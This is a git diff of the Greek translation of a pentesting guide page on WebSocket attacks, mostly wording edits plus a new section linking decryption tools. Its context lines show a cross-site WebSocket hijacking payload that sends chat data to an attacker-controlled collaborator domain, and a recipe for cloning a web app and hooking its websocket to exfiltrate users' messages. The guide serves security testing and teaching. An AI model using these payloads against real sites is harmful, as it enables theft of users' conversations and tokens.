diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index c5cc6350c..b11cbbfad 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -4,17 +4,17 @@ ## Τι είναι τα WebSockets -Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής **HTTP** χειραψίας και είναι σχεδιασμένες να είναι **μακροχρόνιες**, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή**, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων. +Οι συνδέσεις WebSocket καθορίζονται μέσω μιας αρχικής **HTTP** χειραψίας και έχουν σχεδιαστεί να είναι **μακροχρόνιες**, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή**, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων. ### Δημιουργία Συνδέσεων WebSocket -Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί [**εδώ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Συνοπτικά, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript πλευράς του πελάτη όπως φαίνεται παρακάτω: +Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί [**εδώ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Συνοπτικά, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript πλευράς πελάτη όπως φαίνεται παρακάτω: ```javascript var ws = new WebSocket("wss://normal-website.com/ws") ``` Το πρωτόκολλο `wss` σηματοδοτεί μια σύνδεση WebSocket που είναι ασφαλής με **TLS**, ενώ το `ws` υποδηλώνει μια **μη ασφαλή** σύνδεση. -Κατά την εγκαθίδρυση της σύνδεσης, πραγματοποιείται μια διαδικασία χειραψίας μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω HTTP. Η διαδικασία χειραψίας περιλαμβάνει το πρόγραμμα περιήγησης να στέλνει ένα αίτημα και τον διακομιστή να απαντά, όπως απεικονίζεται στα παρακάτω παραδείγματα: +Κατά την εγκαθίδρυση της σύνδεσης, πραγματοποιείται μια χειραψία μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω HTTP. Η διαδικασία της χειραψίας περιλαμβάνει το πρόγραμμα περιήγησης να στέλνει ένα αίτημα και τον διακομιστή να απαντά, όπως απεικονίζεται στα παρακάτω παραδείγματα: Το πρόγραμμα περιήγησης στέλνει ένα αίτημα χειραψίας: ```javascript @@ -39,10 +39,10 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= - Οι κεφαλίδες `Connection` και `Upgrade` σηματοδοτούν την έναρξη ενός WebSocket handshake. - Η κεφαλίδα `Sec-WebSocket-Version` υποδεικνύει την επιθυμητή έκδοση πρωτοκόλλου WebSocket, συνήθως `13`. -- Ένα τυχαίο Base64-κωδικοποιημένο τιμή αποστέλλεται στην κεφαλίδα `Sec-WebSocket-Key`, διασφαλίζοντας ότι κάθε handshake είναι μοναδικό, το οποίο βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για αυθεντικοποίηση αλλά για να επιβεβαιώσει ότι η απάντηση δεν παράγεται από έναν κακώς ρυθμισμένο διακομιστή ή cache. -- Η κεφαλίδα `Sec-WebSocket-Accept` στην απάντηση του διακομιστή είναι ένα hash της `Sec-WebSocket-Key`, επιβεβαιώνοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket. +- Ένα τυχαίο Base64-κωδικοποιημένο τιμή αποστέλλεται στην κεφαλίδα `Sec-WebSocket-Key`, διασφαλίζοντας ότι κάθε handshake είναι μοναδικό, το οποίο βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για αυθεντικοποίηση αλλά για να επιβεβαιώσει ότι η απάντηση δεν έχει παραχθεί από έναν κακώς ρυθμισμένο διακομιστή ή cache. +- Η κεφαλίδα `Sec-WebSocket-Accept` στην απάντηση του διακομιστή είναι ένα hash της `Sec-WebSocket-Key`, επαληθεύοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket. -Αυτές οι δυνατότητες διασφαλίζουν ότι η διαδικασία handshake είναι ασφαλής και αξιόπιστη, ανοίγοντας το δρόμο για αποδοτική επικοινωνία σε πραγματικό χρόνο. +Αυτά τα χαρακτηριστικά διασφαλίζουν ότι η διαδικασία handshake είναι ασφαλής και αξιόπιστη, ανοίγοντας το δρόμο για αποδοτική επικοινωνία σε πραγματικό χρόνο. ### Linux console @@ -67,16 +67,21 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ### Websocket Debug tools -- Το **Burp Suite** υποστηρίζει την επικοινωνία MitM websockets με πολύ παρόμοιο τρόπο όπως το κάνει για την κανονική HTTP επικοινωνία. +- **Burp Suite** υποστηρίζει την επικοινωνία MitM websockets με πολύ παρόμοιο τρόπο όπως το κάνει για την κανονική HTTP επικοινωνία. - Η [**socketsleuth**](https://github.com/snyk/socketsleuth) **επέκταση του Burp Suite** θα σας επιτρέψει να διαχειριστείτε καλύτερα τις επικοινωνίες Websocket στο Burp αποκτώντας το **ιστορικό**, ρυθμίζοντας **κανόνες παρεμβολής**, χρησιμοποιώντας **κανόνες αντιστοίχισης και αντικατάστασης**, χρησιμοποιώντας **Intruder** και **AutoRepeater.** -- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για **καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων** μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή. +- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για το "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για **καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων** μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή. - [**wsrepl**](https://github.com/doyensec/wsrepl) είναι ένα **διαδραστικό websocket REPL** σχεδιασμένο ειδικά για penetration testing. Παρέχει μια διεπαφή για την παρακολούθηση **εισερχόμενων μηνυμάτων websocket και αποστολής νέων**, με ένα εύχρηστο πλαίσιο για **αυτοματοποίηση** αυτής της επικοινωνίας. - [**https://websocketking.com/**](https://websocketking.com/) είναι μια **ιστοσελίδα για επικοινωνία** με άλλες ιστοσελίδες χρησιμοποιώντας **websockets**. - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει μια **ιστοσελίδα για επικοινωνία** με άλλες ιστοσελίδες χρησιμοποιώντας **websockets.** +## Decrypting Websocket + +- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript) +- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/) + ## Websocket Lab -Στο [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) έχετε έναν κώδικα για να εκκινήσετε μια ιστοσελίδα χρησιμοποιώντας websockets και στο [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) μπορείτε να βρείτε μια εξήγηση. +Στο [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) έχετε έναν κώδικα για να εκκινήσετε μια ιστοσελίδα χρησιμοποιώντας websockets και σε [**αυτή την ανάρτηση**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) μπορείτε να βρείτε μια εξήγηση. ## Cross-site WebSocket hijacking (CSWSH) @@ -86,7 +91,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ### Simple Attack -Σημειώστε ότι όταν **ιδρύεται** μια **websocket** σύνδεση, το **cookie** **αποστέλλεται** στον διακομιστή. Ο **διακομιστής** μπορεί να το χρησιμοποιεί για να **σχετίσει** κάθε **συγκεκριμένο** **χρήστη** με τη **συνεδρία websocket** του βασισμένο στο αποσταλμένο cookie. +Σημειώστε ότι όταν **ιδρύεται** μια **websocket** σύνδεση, το **cookie** **αποστέλλεται** στον διακομιστή. Ο **διακομιστής** μπορεί να το χρησιμοποιεί για να **σχετίσει** κάθε **συγκεκριμένο** **χρήστη** με τη **websocket** **συνεδρία του με βάση το αποσταλμένο cookie**. Έτσι, αν για **παράδειγμα** ο **websocket** **διακομιστής** **επιστρέψει το ιστορικό της συνομιλίας** ενός χρήστη αν αποσταλεί ένα μήνυμα με "**READY"**, τότε μια **απλή XSS** που ιδρύει τη σύνδεση (το **cookie** θα **σταλεί** **αυτόματα** για να εξουσιοδοτήσει τον θύμα χρήστη) **στέλνοντας** "**READY**" θα είναι σε θέση να **ανακτήσει** το ιστορικό της **συνομιλίας**. ```html @@ -105,11 +110,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'}) ``` ### Cross Origin + Cookie with a different subdomain -In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) ο επιτιθέμενος κατάφερε να **εκτελέσει αυθαίρετο Javascript σε ένα υποτομέα** του τομέα όπου γινόταν η επικοινωνία μέσω web socket. Επειδή ήταν **υποτομέας**, το **cookie** αποστέλλοταν, και επειδή το **Websocket δεν έλεγξε σωστά την προέλευση**, ήταν δυνατό να επικοινωνήσει μαζί του και να **κλέψει tokens από αυτό**. +In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) ο επιτιθέμενος κατάφερε να **εκτελέσει αυθαίρετο Javascript σε ένα υποτομέα** του τομέα όπου πραγματοποιούνταν η επικοινωνία μέσω web socket. Επειδή ήταν **υποτομέας**, το **cookie** αποστέλλονταν, και επειδή το **Websocket δεν έλεγξε σωστά την προέλευση**, ήταν δυνατό να επικοινωνήσει μαζί του και να **κλέψει tokens από αυτό**. ### Stealing data from user -Αντιγράψτε την εφαρμογή ιστού που θέλετε να μιμηθείτε (τα αρχεία .html για παράδειγμα) και μέσα στο σενάριο όπου γίνεται η επικοινωνία μέσω websocket προσθέστε αυτόν τον κώδικα: +Αντιγράψτε την web εφαρμογή που θέλετε να προσποιηθείτε (τα αρχεία .html για παράδειγμα) και μέσα στο σενάριο όπου πραγματοποιείται η επικοινωνία μέσω websocket προσθέστε αυτόν τον κώδικα: ```javascript //This is the script tag to load the websocket hooker ; @@ -129,22 +134,22 @@ xhttp.send() return messageEvent } ``` -Τώρα κατεβάστε το αρχείο `wsHook.js` από [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) και **αποθηκεύστε το μέσα στον φάκελο με τα αρχεία ιστού**.\ +Τώρα κατεβάστε το `wsHook.js` αρχείο από [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) και **αποθηκεύστε το μέσα στον φάκελο με τα αρχεία ιστού**.\ Εκθέτοντας την εφαρμογή ιστού και κάνοντάς την να συνδεθεί ένας χρήστης, θα μπορείτε να κλέψετε τα μηνύματα που αποστέλλονται και λαμβάνονται μέσω websocket: ```javascript sudo python3 -m http.server 80 ``` ## Συνθήκες Αγώνα -Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα θέμα, [ελέγξτε αυτή την πληροφορία για να μάθετε περισσότερα](race-condition.md#rc-in-websockets). +Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα θέμα, [δείτε αυτή την πληροφορία για να μάθετε περισσότερα](race-condition.md#rc-in-websockets). ## Άλλες ευπάθειες -Καθώς τα Web Sockets είναι ένας μηχανισμός για **να στέλνουν δεδομένα στον διακομιστή και στον πελάτη**, ανάλογα με το πώς ο διακομιστής και ο πελάτης χειρίζονται τις πληροφορίες, **τα Web Sockets μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν πολλές άλλες ευπάθειες όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.** +Καθώς τα Web Sockets είναι ένας μηχανισμός για **να στέλνουν δεδομένα στον διακομιστή και στον πελάτη**, ανάλογα με το πώς ο διακομιστής και ο πελάτης χειρίζονται την πληροφορία, **τα Web Sockets μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν πολλές άλλες ευπάθειες όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.** ## **WebSocket Smuggling** -Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να **παρακάμψετε τους περιορισμούς των αντίστροφων μεσολαβητών** κάνοντάς τους να πιστεύουν ότι **μια επικοινωνία websocket έχει καθιερωθεί** (ακόμα και αν δεν είναι αλήθεια). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να **πρόσβαση σε κρυφές τελικές σημεία**. Για περισσότερες πληροφορίες, ελέγξτε την παρακάτω σελίδα: +Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να **παρακάμψετε τους περιορισμούς των αντίστροφων διακομιστών μεσολάβησης** κάνοντάς τους να πιστεύουν ότι **μια επικοινωνία websocket έχει καθιερωθεί** (ακόμα και αν δεν είναι αλήθεια). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να **πρόσβαση σε κρυφές τελικές σημεία**. Για περισσότερες πληροφορίες δείτε την παρακάτω σελίδα: {{#ref}} h2c-smuggling.md